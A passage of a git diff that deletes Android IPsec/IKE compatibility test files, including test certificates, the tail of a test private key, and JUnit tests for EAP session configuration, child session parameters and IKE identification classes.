-TAqMjpzqeMfFZI+w4/+xpcJIuQKBgQDTKBy+ZuerWrVT9icWKvLU58o5EVj/2yFy
-GJvKm+wRAAX2WzjNnR4HVd4DmMREVz1BPYby0j5gqjvtDsxYYu39+NT7JvMioLLK
-QPj+7k5geYgNqVgCxB1vP89RhY2X1RLrN9sTXOodgFPeXOQWNYITkGp3eQpx4nTJ
-+K/al3oB1wKBgAjnc8nVIyuyxDEjE0OJYMKTM2a0uXAmqMPXxC+Wq5bqVXhhidlE
-i+lv0eTCPtkB1nN7F8kNQ/aaps/cWCFhvBy9P5shagUvzbOTP9WIIS0cq53HRRKh
-fMbqqGhWv05hjb9dUzeSR341n6cA7B3++v3Nwu3j52vt/DZF/1q68nc5AoGAS0SU
-ImbKE/GsizZGLoe2sZ/CHN+LKwCwhlwxRGKaHmE0vuE7eUeVSaYZEo0lAPtb8WJ+
-NRYueASWgeTxgFwbW5mUScZTirdfo+rPFwhZVdhcYApKPgosN9i2DOgfVcz1BnWN
-mPRY25U/0BaqkyQVruWeneG+kGPZn5kPDktKiVcCgYEAkzwU9vCGhm7ZVALvx/zR
-wARz2zsL9ImBc0P4DK1ld8g90FEnHrEgeI9JEwz0zFHOCMLwlk7kG0Xev7vfjZ7G
-xSqtQYOH33Qp6rtBOgdt8hSyDFvakvDl6bqhAw52gelO3MTpAB1+ZsfZ5gFx13Jf
-idNFcaIrC52PtZIH7QCzdDY=
------END PRIVATE KEY-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/assets/pem/client-a-end-cert.pem b/tests/tests/ipsec/assets/pem/client-a-end-cert.pem
deleted file mode 100644
index e82da85..0000000
--- a/tests/tests/ipsec/assets/pem/client-a-end-cert.pem
+++ /dev/null
@@ -1,21 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDaDCCAlCgAwIBAgIIcorRI3n29E4wDQYJKoZIhvcNAQELBQAwQTELMAkGA1UE
-BhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxIDAeBgNVBAMTF3R3by5jYS50ZXN0LmFu
-ZHJvaWQubmV0MB4XDTIwMDQxNDA1MDM0OVoXDTIzMDQxNDA1MDM0OVowRTELMAkG
-A1UEBhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxJDAiBgNVBAMTG2NsaWVudC50ZXN0
-LmlrZS5hbmRyb2lkLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
-AK/cK+sIaiQlJYvy5+Dq70sJbgR7PO1uS2qkLRP7Wb3z5SNvz94nQvZRrFn1AFIE
-CpfESh5kUF6gJe7t7NR3mpQ98iEosCRBMDJT8qB+EeHiL4wkrmCE9sYMTyvaApRc
-6Qzozn/9kKma7Qpj/25AvoPluTERqhZ6AQ77BJeb6FNOAoO1Aoe9GJuB1xmRxjRw
-D0mwusL+ciQ/7uKlsFP5VO5XqACcohXSerzO8jcD9necBvka3SDepqqzn1K0NPRC
-25fMmS5kSjddKtKOif7w2NI3OpVsmP3kHv66If73VURsy0lgXPYyKkq8lAMrtmXG
-R7svFGPbEl+Swkpr3b+dzF8CAwEAAaNgMF4wHwYDVR0jBBgwFoAUcqSu1uRYT/DL
-bLoDNUz38nGvCKQwJgYDVR0RBB8wHYIbY2xpZW50LnRlc3QuaWtlLmFuZHJvaWQu
-bmV0MBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IBAQCa53tK
-I9RM9/MutZ5KNG2Gfs2cqaPyv8ZRhs90HDWZhkFVu7prywJAxOd2hxxHPsvgurio
-4bKAxnT4EXevgz5YoCbj2TPIL9TdFYh59zZ97XXMxk+SRdypgF70M6ETqKPs3hDP
-ZRMMoHvvYaqaPvp4StSBX9A44gSyjHxVYJkrjDZ0uffKg5lFL5IPvqfdmSRSpGab
-SyGTP4OLTy0QiNV3pBsJGdl0h5BzuTPR9OTl4xgeqqBQy2bDjmfJBuiYyCSCkPi7
-T3ohDYCymhuSkuktHPNG1aKllUJaw0tuZuNydlgdAveXPYfM36uvK0sfd9qr9pAy
-rmkYV2MAWguFeckh
------END CERTIFICATE-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-one.pem b/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-one.pem
deleted file mode 100644
index 707e575..0000000
--- a/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-one.pem
+++ /dev/null
@@ -1,21 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDaDCCAlCgAwIBAgIIIbjMyRn2770wDQYJKoZIhvcNAQELBQAwQjELMAkGA1UE
-BhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxITAfBgNVBAMTGHJvb3QuY2EudGVzdC5h
-bmRyb2lkLm5ldDAeFw0xOTA5MzAxODQzMThaFw0yNDA5MjgxODQzMThaMEExCzAJ
-BgNVBAYTAlVTMRAwDgYDVQQKEwdBbmRyb2lkMSAwHgYDVQQDExdvbmUuY2EudGVz
-dC5hbmRyb2lkLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKNN
-sRr5Z30rAEw2jrAh/BIekbEy/MvOucAr1w0lxH71p+ybRBx5Bj7G07UGXbL659gm
-meMV6nabY4HjQXNMq22POiJBZj+U+rw34br6waljBttxCmmJac1VvgqNsSspXjRy
-NbiVQdFjyKSX0NOPcEkwANk15mZbOgJBaYYc8jQCY2G/p8eARVBTLJCy8LEwEU6j
-XRv/4eYST79qpBFc7gQQj2FLmh9oppDIvcIVBHwtd1tBoVuehRSud1o8vQRkl/HJ
-Mrwp24nO5YYhmVNSFRtBpmWMSu1KknFUwkOebINUNsKXXHebVa7cP4XIQUL8mRT3
-5X9rFJFSQJE01S3NjNMCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B
-Af8EBAMCAQYwHQYDVR0OBBYEFHK3FIm7g8dxEIwK9zMAO8EWhRYxMB8GA1UdIwQY
-MBaAFEmfqEeF14Nj91ekIpR+sVhCEoAaMA0GCSqGSIb3DQEBCwUAA4IBAQAeMlXT
-TnxZo8oz0204gKZ63RzlgDpJ7SqA3qFG+pV+TiqGfSuVkXuIdOskjxJnA9VxUzrr
-LdMTCn5e0FK6wCYjZ2GT/CD7oD3vSMkzGbLGNcNJhhDHUq8BOLPkPzz/rwQFPBSb
-zr6hsiVXphEt/psGoN7Eu9blPeQaIwMfWnaufAwF664S/3dmCRbNMWSam1qzzz8q
-jr0cDOIMa//ZIAcM16cvoBK6pFGnUmuoJYYRtfpY5MmfCWz0sCJxENIX/lxyhd7N
-FdRALA1ZP3E//Tn2vQoeFjbKaAba527RE26HgHJ9zZDo1nn8J8J/YwYRJdBWM/3S
-LYebNiMtcyB5nIkj
------END CERTIFICATE-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-two.pem b/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-two.pem
deleted file mode 100644
index 39808f8..0000000
--- a/tests/tests/ipsec/assets/pem/client-a-intermediate-ca-two.pem
+++ /dev/null
@@ -1,21 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDZzCCAk+gAwIBAgIIKWCREnNCs+wwDQYJKoZIhvcNAQELBQAwQTELMAkGA1UE
-BhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxIDAeBgNVBAMTF29uZS5jYS50ZXN0LmFu
-ZHJvaWQubmV0MB4XDTE5MDkzMDE4NDQwMloXDTI0MDkyODE4NDQwMlowQTELMAkG
-A1UEBhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxIDAeBgNVBAMTF3R3by5jYS50ZXN0
-LmFuZHJvaWQubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxLUa
-RqkYl2m7lUmMnkooqO0DNNY1aN9r7mJc3ndYn5gjkpb3yLgOYPDNLcQerV6uWk/u
-qKudNHed2dInGonl3oxwwv7++6oUvvtrSWLDZlRg16GsdIE1Y98DSMQWkSxevYy9
-Nh6FGTdlBFQVMpiMa8qHEkrOyKsy85yCW1sgzlpGTIBwbDAqYtwe3rgbwyHwUtfy
-0EU++DBcR4ll/pDqB0OQtW5E3AOq2GH1iaGeFLKSUQ5KAbdI8y4/b8IkSDffvxcc
-kXig7S54aLrNlL/ZjQ+H4Chgjj2A5wMucd81+Fb60Udej73ICL9PpMPnXQ1+BVYd
-MJ/txjLNmrOJG9yEHQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB
-/wQEAwIBBjAdBgNVHQ4EFgQUcqSu1uRYT/DLbLoDNUz38nGvCKQwHwYDVR0jBBgw
-FoAUcrcUibuDx3EQjAr3MwA7wRaFFjEwDQYJKoZIhvcNAQELBQADggEBADY461GT
-Rw0dGnD07xaGJcI0i0pV+WnGSrl1s1PAIdMYihJAqYnh10fXbFXLm2WMWVmv/pxs
-FI/xDJno+pd4mCa/sIhm63ar/Nv+lFQmcpIlvSlKnhhV4SLNBeqbVhPBGTCHfrG4
-aIyCwm1KJsnkWbf03crhSskR/2CXIjX6lcAy7K3fE2u1ELpAdH0kMJR7VXkLFLUm
-gqe9YCluR0weMpe2sCaOGzdVzQSmMMCzGP5cxeFR5U6K40kMOpiW11JNmQ06xI/m
-YVkMNwoiV/ITT0/C/g9FxJmkO0mVSLEqxaLS/hNiQNDlroVM0rbxhzviXLI3R3AO
-50VvlOQYGxWed/I=
------END CERTIFICATE-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/assets/pem/server-a-self-signed-ca.pem b/tests/tests/ipsec/assets/pem/server-a-self-signed-ca.pem
deleted file mode 100644
index 972fd55..0000000
--- a/tests/tests/ipsec/assets/pem/server-a-self-signed-ca.pem
+++ /dev/null
@@ -1,20 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDSDCCAjCgAwIBAgIITJQJ6HC1rjwwDQYJKoZIhvcNAQELBQAwQjELMAkGA1UE
-BhMCVVMxEDAOBgNVBAoTB0FuZHJvaWQxITAfBgNVBAMTGHJvb3QuY2EudGVzdC5h
-bmRyb2lkLm5ldDAeFw0xOTA5MzAxNzU1NTJaFw0yOTA5MjcxNzU1NTJaMEIxCzAJ
-BgNVBAYTAlVTMRAwDgYDVQQKEwdBbmRyb2lkMSEwHwYDVQQDExhyb290LmNhLnRl
-c3QuYW5kcm9pZC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCT
-q3hGF+JvLaB1xW7KGKmaxiQ7BxX2Sn7cbp7ggoVYXsFlBUuPPv3+Vg5PfPCPhsJ8
-/7w4HyKo3uc/vHs5HpQ7rSd9blhAkfmJci2ULLq73FB8Mix4CzPwMx29RrN1X9bU
-z4G0vJMczIBGxbZ0uw7n8bKcXBV7AIeax+J8lseEZ3k8iSuBkUJqGIpPFKTqByFZ
-A1Lvt47xkON5SZh6c/Oe+o6291wXaCOJUSAKv6PAWZkq9HeD2fqKA/ck9dBaz1M3
-YvzQ9V/7so3/dECjAfKia388h1I6XSGNUM+d5hpxMXpAFgG42eUXHpJ10OjDvSwd
-7ZSC91/kRQewUomEKBK1AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
-AQH/BAQDAgEGMB0GA1UdDgQWBBRJn6hHhdeDY/dXpCKUfrFYQhKAGjANBgkqhkiG
-9w0BAQsFAAOCAQEAig/94aGfHBhZuvbbhwAK4rUNpizmR567u0ZJ+QUEKyAlo9lT
-ZWYHSm7qTAZYvPEjzTQIptnAlxCHePXh3Cfwgo+r82lhG2rcdI03iRyvHWjM8gyk
-BXCJTi0Q08JHHpTP6GnAqpz58qEIFkk8P766zNXdhYrGPOydF+p7MFcb1Zv1gum3
-zmRLt0XUAMfjPUv1Bl8kTKFxH5lkMBLR1E0jnoJoTTfgRPrf9CuFSoh48n7YhoBT
-KV75xZY8b8+SuB0v6BvQmkpKZGoxBjuVsShyG7q1+4JTAtwhiP7BlkDvVkaBEi7t
-WIMFp2r2ZDisHgastNaeYFyzHYz9g1FCCrHQ4w==
------END CERTIFICATE-----
\ No newline at end of file
diff --git a/tests/tests/ipsec/src/android/eap/cts/EapSessionConfigTest.java b/tests/tests/ipsec/src/android/eap/cts/EapSessionConfigTest.java
deleted file mode 100644
index b0a257a..0000000
--- a/tests/tests/ipsec/src/android/eap/cts/EapSessionConfigTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.eap.cts;
-
-import static android.telephony.TelephonyManager.APPTYPE_USIM;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.net.eap.EapSessionConfig;
-import android.net.eap.EapSessionConfig.EapAkaConfig;
-import android.net.eap.EapSessionConfig.EapAkaPrimeConfig;
-import android.net.eap.EapSessionConfig.EapMsChapV2Config;
-import android.net.eap.EapSessionConfig.EapSimConfig;
-import android.net.eap.EapSessionConfig.EapUiccConfig;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class EapSessionConfigTest {
-    // These constants are IANA-defined values and are copies of hidden constants in
-    // frameworks/opt/net/ike/src/java/com/android/internal/net/eap/message/EapData.java.
-    private static final int EAP_TYPE_SIM = 18;
-    private static final int EAP_TYPE_AKA = 23;
-    private static final int EAP_TYPE_MSCHAP_V2 = 26;
-    private static final int EAP_TYPE_AKA_PRIME = 50;
-
-    private static final int SUB_ID = 1;
-    private static final byte[] EAP_IDENTITY = "test@android.net".getBytes();
-    private static final String NETWORK_NAME = "android.net";
-    private static final String EAP_MSCHAPV2_USERNAME = "username";
-    private static final String EAP_MSCHAPV2_PASSWORD = "password";
-
-    @Test
-    public void testBuildWithAllEapMethods() {
-        EapSessionConfig result =
-                new EapSessionConfig.Builder()
-                        .setEapIdentity(EAP_IDENTITY)
-                        .setEapSimConfig(SUB_ID, APPTYPE_USIM)
-                        .setEapAkaConfig(SUB_ID, APPTYPE_USIM)
-                        .setEapAkaPrimeConfig(
-                                SUB_ID,
-                                APPTYPE_USIM,
-                                NETWORK_NAME,
-                                true /* allowMismatchedNetworkNames */)
-                        .setEapMsChapV2Config(EAP_MSCHAPV2_USERNAME, EAP_MSCHAPV2_PASSWORD)
-                        .build();
-
-        assertArrayEquals(EAP_IDENTITY, result.getEapIdentity());
-
-        EapSimConfig eapSimConfig = result.getEapSimConfig();
-        assertNotNull(eapSimConfig);
-        assertEquals(EAP_TYPE_SIM, eapSimConfig.getMethodType());
-        verifyEapUiccConfigCommon(eapSimConfig);
-
-        EapAkaConfig eapAkaConfig = result.getEapAkaConfig();
-        assertNotNull(eapAkaConfig);
-        assertEquals(EAP_TYPE_AKA, eapAkaConfig.getMethodType());
-        verifyEapUiccConfigCommon(eapAkaConfig);
-
-        EapAkaPrimeConfig eapAkaPrimeConfig = result.getEapAkaPrimeConfig();
-        assertNotNull(eapAkaPrimeConfig);
-        assertEquals(EAP_TYPE_AKA_PRIME, eapAkaPrimeConfig.getMethodType());
-        assertEquals(NETWORK_NAME, eapAkaPrimeConfig.getNetworkName());
-        assertTrue(NETWORK_NAME, eapAkaPrimeConfig.allowsMismatchedNetworkNames());
-        verifyEapUiccConfigCommon(eapAkaPrimeConfig);
-
-        EapMsChapV2Config eapMsChapV2Config = result.getEapMsChapV2onfig();
-        assertNotNull(eapMsChapV2Config);
-        assertEquals(EAP_TYPE_MSCHAP_V2, eapMsChapV2Config.getMethodType());
-        assertEquals(EAP_MSCHAPV2_USERNAME, eapMsChapV2Config.getUsername());
-        assertEquals(EAP_MSCHAPV2_PASSWORD, eapMsChapV2Config.getPassword());
-    }
-
-    private void verifyEapUiccConfigCommon(EapUiccConfig config) {
-        assertEquals(SUB_ID, config.getSubId());
-        assertEquals(APPTYPE_USIM, config.getAppType());
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/ChildSessionParamsTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/ChildSessionParamsTest.java
deleted file mode 100644
index 9cba90b..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/ChildSessionParamsTest.java
+++ /dev/null
@@ -1,230 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.net.LinkAddress;
-import android.net.ipsec.ike.ChildSaProposal;
-import android.net.ipsec.ike.ChildSessionParams;
-import android.net.ipsec.ike.TransportModeChildSessionParams;
-import android.net.ipsec.ike.TunnelModeChildSessionParams;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv4Address;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv4DhcpServer;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv4DnsServer;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv4Netmask;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv6Address;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.ConfigRequestIpv6DnsServer;
-import android.net.ipsec.ike.TunnelModeChildSessionParams.TunnelModeChildConfigRequest;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.Inet4Address;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public class ChildSessionParamsTest extends IkeTestBase {
-    private static final int HARD_LIFETIME_SECONDS = (int) TimeUnit.HOURS.toSeconds(3L);
-    private static final int SOFT_LIFETIME_SECONDS = (int) TimeUnit.HOURS.toSeconds(1L);
-
-    // Random proposal. Content doesn't matter
-    private final ChildSaProposal mSaProposal =
-            SaProposalTest.buildChildSaProposalWithCombinedModeCipher();
-
-    private void verifyTunnelModeChildParamsWithDefaultValues(ChildSessionParams childParams) {
-        assertTrue(childParams instanceof TunnelModeChildSessionParams);
-        verifyChildParamsWithDefaultValues(childParams);
-    }
-
-    private void verifyTunnelModeChildParamsWithCustomizedValues(ChildSessionParams childParams) {
-        assertTrue(childParams instanceof TunnelModeChildSessionParams);
-        verifyChildParamsWithCustomizedValues(childParams);
-    }
-
-    private void verifyTransportModeChildParamsWithDefaultValues(ChildSessionParams childParams) {
-        assertTrue(childParams instanceof TransportModeChildSessionParams);
-        verifyChildParamsWithDefaultValues(childParams);
-    }
-
-    private void verifyTransportModeChildParamsWithCustomizedValues(
-            ChildSessionParams childParams) {
-        assertTrue(childParams instanceof TransportModeChildSessionParams);
-        verifyChildParamsWithCustomizedValues(childParams);
-    }
-
-    private void verifyChildParamsWithDefaultValues(ChildSessionParams childParams) {
-        assertEquals(Arrays.asList(mSaProposal), childParams.getSaProposals());
-
-        // Do not do assertEquals to the default values to be avoid being a change-detector test
-        assertTrue(childParams.getHardLifetimeSeconds() > childParams.getSoftLifetimeSeconds());
-        assertTrue(childParams.getSoftLifetimeSeconds() > 0);
-
-        assertEquals(
-                Arrays.asList(DEFAULT_V4_TS, DEFAULT_V6_TS),
-                childParams.getInboundTrafficSelectors());
-        assertEquals(
-                Arrays.asList(DEFAULT_V4_TS, DEFAULT_V6_TS),
-                childParams.getOutboundTrafficSelectors());
-    }
-
-    private void verifyChildParamsWithCustomizedValues(ChildSessionParams childParams) {
-        assertEquals(Arrays.asList(mSaProposal), childParams.getSaProposals());
-
-        assertEquals(HARD_LIFETIME_SECONDS, childParams.getHardLifetimeSeconds());
-        assertEquals(SOFT_LIFETIME_SECONDS, childParams.getSoftLifetimeSeconds());
-
-        assertEquals(
-                Arrays.asList(INBOUND_V4_TS, INBOUND_V6_TS),
-                childParams.getInboundTrafficSelectors());
-        assertEquals(
-                Arrays.asList(OUTBOUND_V4_TS, OUTBOUND_V6_TS),
-                childParams.getOutboundTrafficSelectors());
-    }
-
-    @Test
-    public void testBuildTransportModeParamsWithDefaultValues() {
-        TransportModeChildSessionParams childParams =
-                new TransportModeChildSessionParams.Builder().addSaProposal(mSaProposal).build();
-
-        verifyTransportModeChildParamsWithDefaultValues(childParams);
-    }
-
-    @Test
-    public void testBuildTunnelModeParamsWithDefaultValues() {
-        TunnelModeChildSessionParams childParams =
-                new TunnelModeChildSessionParams.Builder().addSaProposal(mSaProposal).build();
-
-        verifyTunnelModeChildParamsWithDefaultValues(childParams);
-        assertTrue(childParams.getConfigurationRequests().isEmpty());
-    }
-
-    @Test
-    public void testBuildTransportModeParamsWithCustomizedValues() {
-        TransportModeChildSessionParams childParams =
-                new TransportModeChildSessionParams.Builder()
-                        .addSaProposal(mSaProposal)
-                        .setLifetimeSeconds(HARD_LIFETIME_SECONDS, SOFT_LIFETIME_SECONDS)
-                        .addInboundTrafficSelectors(INBOUND_V4_TS)
-                        .addInboundTrafficSelectors(INBOUND_V6_TS)
-                        .addOutboundTrafficSelectors(OUTBOUND_V4_TS)
-                        .addOutboundTrafficSelectors(OUTBOUND_V6_TS)
-                        .build();
-
-        verifyTransportModeChildParamsWithCustomizedValues(childParams);
-    }
-
-    @Test
-    public void testBuildTunnelModeParamsWithCustomizedValues() {
-        TunnelModeChildSessionParams childParams =
-                new TunnelModeChildSessionParams.Builder()
-                        .addSaProposal(mSaProposal)
-                        .setLifetimeSeconds(HARD_LIFETIME_SECONDS, SOFT_LIFETIME_SECONDS)
-                        .addInboundTrafficSelectors(INBOUND_V4_TS)
-                        .addInboundTrafficSelectors(INBOUND_V6_TS)
-                        .addOutboundTrafficSelectors(OUTBOUND_V4_TS)
-                        .addOutboundTrafficSelectors(OUTBOUND_V6_TS)
-                        .build();
-
-        verifyTunnelModeChildParamsWithCustomizedValues(childParams);
-    }
-
-    @Test
-    public void testBuildChildSessionParamsWithConfigReq() {
-        TunnelModeChildSessionParams childParams =
-                new TunnelModeChildSessionParams.Builder()
-                        .addSaProposal(mSaProposal)
-                        .addInternalAddressRequest(AF_INET)
-                        .addInternalAddressRequest(AF_INET6)
-                        .addInternalAddressRequest(AF_INET6)
-                        .addInternalAddressRequest(IPV4_ADDRESS_REMOTE)
-                        .addInternalAddressRequest(IPV6_ADDRESS_REMOTE, IP6_PREFIX_LEN)
-                        .addInternalDnsServerRequest(AF_INET)
-                        .addInternalDnsServerRequest(AF_INET6)
-                        .addInternalDhcpServerRequest(AF_INET)
-                        .addInternalDhcpServerRequest(AF_INET)
-                        .build();
-
-        verifyTunnelModeChildParamsWithDefaultValues(childParams);
-
-        // Verify config request types and number of requests for each type
-        Map<Class<? extends TunnelModeChildConfigRequest>, Integer> expectedAttributeCounts =
-                new HashMap<>();
-        expectedAttributeCounts.put(ConfigRequestIpv4Address.class, 2);
-        expectedAttributeCounts.put(ConfigRequestIpv6Address.class, 3);
-        expectedAttributeCounts.put(ConfigRequestIpv4Netmask.class, 1);
-        expectedAttributeCounts.put(ConfigRequestIpv4DnsServer.class, 1);
-        expectedAttributeCounts.put(ConfigRequestIpv6DnsServer.class, 1);
-        expectedAttributeCounts.put(ConfigRequestIpv4DhcpServer.class, 2);
-        verifyConfigRequestTypes(expectedAttributeCounts, childParams.getConfigurationRequests());
-
-        // Verify specific IPv4 address request
-        Set<Inet4Address> expectedV4Addresses = new HashSet<>();
-        expectedV4Addresses.add(IPV4_ADDRESS_REMOTE);
-        verifySpecificV4AddrConfigReq(expectedV4Addresses, childParams);
-
-        // Verify specific IPv6 address request
-        Set<LinkAddress> expectedV6Addresses = new HashSet<>();
-        expectedV6Addresses.add(new LinkAddress(IPV6_ADDRESS_REMOTE, IP6_PREFIX_LEN));
-        verifySpecificV6AddrConfigReq(expectedV6Addresses, childParams);
-    }
-
-    protected void verifySpecificV4AddrConfigReq(
-            Set<Inet4Address> expectedAddresses, TunnelModeChildSessionParams childParams) {
-        for (TunnelModeChildConfigRequest req : childParams.getConfigurationRequests()) {
-            if (req instanceof ConfigRequestIpv4Address
-                    && ((ConfigRequestIpv4Address) req).getAddress() != null) {
-                Inet4Address address = ((ConfigRequestIpv4Address) req).getAddress();
-
-                // Fail if expectedAddresses does not contain this address
-                assertTrue(expectedAddresses.remove(address));
-            }
-        }
-
-        // Fail if any expected address is not found in result
-        assertTrue(expectedAddresses.isEmpty());
-    }
-
-    protected void verifySpecificV6AddrConfigReq(
-            Set<LinkAddress> expectedAddresses, TunnelModeChildSessionParams childParams) {
-        for (TunnelModeChildConfigRequest req : childParams.getConfigurationRequests()) {
-            if (req instanceof ConfigRequestIpv6Address
-                    && ((ConfigRequestIpv6Address) req).getAddress() != null) {
-                ConfigRequestIpv6Address ipv6AddrReq = (ConfigRequestIpv6Address) req;
-
-                // Fail if expectedAddresses does not contain this address
-                LinkAddress address =
-                        new LinkAddress(ipv6AddrReq.getAddress(), ipv6AddrReq.getPrefixLength());
-                assertTrue(expectedAddresses.remove(address));
-            }
-        }
-
-        // Fail if any expected address is not found in result
-        assertTrue(expectedAddresses.isEmpty());
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeIdentificationTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeIdentificationTest.java
deleted file mode 100644
index 40aca9d..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeIdentificationTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-
-import android.net.ipsec.ike.IkeDerAsn1DnIdentification;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeIpv4AddrIdentification;
-import android.net.ipsec.ike.IkeIpv6AddrIdentification;
-import android.net.ipsec.ike.IkeKeyIdIdentification;
-import android.net.ipsec.ike.IkeRfc822AddrIdentification;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import javax.security.auth.x500.X500Principal;
-
-@RunWith(AndroidJUnit4.class)
-public final class IkeIdentificationTest extends IkeTestBase {
-    @Test
-    public void testIkeDerAsn1DnIdentification() throws Exception {
-        X500Principal asn1Dn = new X500Principal(LOCAL_ASN1_DN_STRING);
-
-        IkeDerAsn1DnIdentification ikeId = new IkeDerAsn1DnIdentification(asn1Dn);
-        assertEquals(asn1Dn, ikeId.derAsn1Dn);
-    }
-
-    @Test
-    public void testIkeFqdnIdentification() throws Exception {
-        IkeFqdnIdentification ikeId = new IkeFqdnIdentification(LOCAL_HOSTNAME);
-        assertEquals(LOCAL_HOSTNAME, ikeId.fqdn);
-    }
-
-    @Test
-    public void testIkeIpv4AddrIdentification() throws Exception {
-        IkeIpv4AddrIdentification ikeId = new IkeIpv4AddrIdentification(IPV4_ADDRESS_LOCAL);
-        assertEquals(IPV4_ADDRESS_LOCAL, ikeId.ipv4Address);
-    }
-
-    @Test
-    public void testIkeIpv6AddrIdentification() throws Exception {
-        IkeIpv6AddrIdentification ikeId = new IkeIpv6AddrIdentification(IPV6_ADDRESS_LOCAL);
-        assertEquals(IPV6_ADDRESS_LOCAL, ikeId.ipv6Address);
-    }
-
-    @Test
-    public void testIkeKeyIdIdentification() throws Exception {
-        IkeKeyIdIdentification ikeId = new IkeKeyIdIdentification(LOCAL_KEY_ID);
-        assertArrayEquals(LOCAL_KEY_ID, ikeId.keyId);
-    }
-
-    @Test
-    public void testIkeRfc822AddrIdentification() throws Exception {
-        IkeRfc822AddrIdentification ikeId = new IkeRfc822AddrIdentification(LOCAL_RFC822_NAME);
-        assertEquals(LOCAL_RFC822_NAME, ikeId.rfc822Name);
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionDigitalSignatureTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionDigitalSignatureTest.java
deleted file mode 100644
index 402769f..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionDigitalSignatureTest.java
+++ /dev/null
@@ -1,211 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
